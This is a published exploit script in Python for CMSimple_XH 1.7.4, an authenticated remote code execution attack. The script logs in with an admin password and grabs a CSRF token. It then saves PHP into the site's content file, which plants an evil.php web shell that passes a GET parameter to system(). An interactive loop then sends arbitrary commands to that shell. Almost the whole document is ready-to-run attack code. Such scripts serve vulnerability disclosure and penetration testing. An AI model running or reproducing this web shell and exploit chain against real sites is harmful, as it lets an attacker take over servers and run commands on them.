CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)

# Exploit Title: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 01-10-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.cmsimple-xh.org/
# Software Link: https://www.cmsimple-xh.org/?Downloads
# Version: 1.7.4
# Category: Webapps
# Tested on: Linux/Windows


# CMSimple_XH is an open source project under GPL3 license
# Includes an endpoint that allows remote access
# Backup page is misconfigured, causing security vulnerability
# User information with sufficient permissions is required.

# Example: python3 exploit.py -u http://example.com -p Admin123



from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse


def main():
parser = argparse.ArgumentParser(description='CMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nCMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
host(args)



def host(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
sleep(2)
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
else:
print("\n[?] Check Adress...\n")
sleep(2)
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass


# Check Host Status
try:
response = requests.get(args.host)
if response.status_code == 200:
login(args)
else:
print("[-] Address not reachable!")
sleep(2)

except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)


def login(args):

url = args.host + "/?&login"
cookies = {
"XH_2f": "evil"
}
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?&login"
}
data = {
"login": "true",
"keycut": args.password,
"submit": "Login"
}
response = requests.post(url, headers=headers, cookies=cookies, data=data)

token = response.cookies.get("XH_2f")
soup = BeautifulSoup(response.text, 'html.parser')

if (soup.find("link",{"rel":"next"})['href'] != "/"):
print("[!] Login Success!\n")
sleep(2)
csrf(args,token)
else:
print("[!] Wrong password!!\n")
sleep(2)


def csrf(args, token):

url = args.host + "/?file=content"
cookies = {
"status": "adm",
"XH_2f": token
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?&settings",
"Accept-Encoding": "gzip, deflate",
"Connection": "close"
}
response = requests.get(url, headers=headers, cookies=cookies)

try:
soup = BeautifulSoup(response.text, 'html.parser')
csrf = soup.find_all("input", type="hidden")[3].get("value")
create(args, token, csrf)
except Exception as e:
print(e)
else:
pass



def create(args, token, csrf):

payload = "<?php\r\nfile_put_contents('./evil.php', \"\\x3c\\x3fphp system(\\x24_GET['cmd']);\\x3f\\x3e\");\r\n?>\r\n"

url = args.host
cookies = {
"status": "adm",
"XH_2f": token
}
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?file=content&action=edit&xh_success=content",
"Accept-Encoding": "gzip, deflate"
}
data = {
"text": payload,
"file": "content",
"action": "save",
"xh_csrf_token": csrf
}
response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=True)

if (response.status_code == 200):
print("[!] Create Vuln File!\n")
sleep(2)
exploit(args)
else:
print("[!] Create Failed!\n")
sleep(2)


def exploit(args):

print("[+] Exploit Done!\n")
sleep(2)

while True:
cmd = input("$ ")
url = args.host + "/evil.php?cmd=" + cmd
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
}

response = requests.post(url, headers=headers, timeout=5)

if response.text == "":
print(cmd + ": command not found\n")
else:
print(response.text)



if __name__ == '__main__':
main()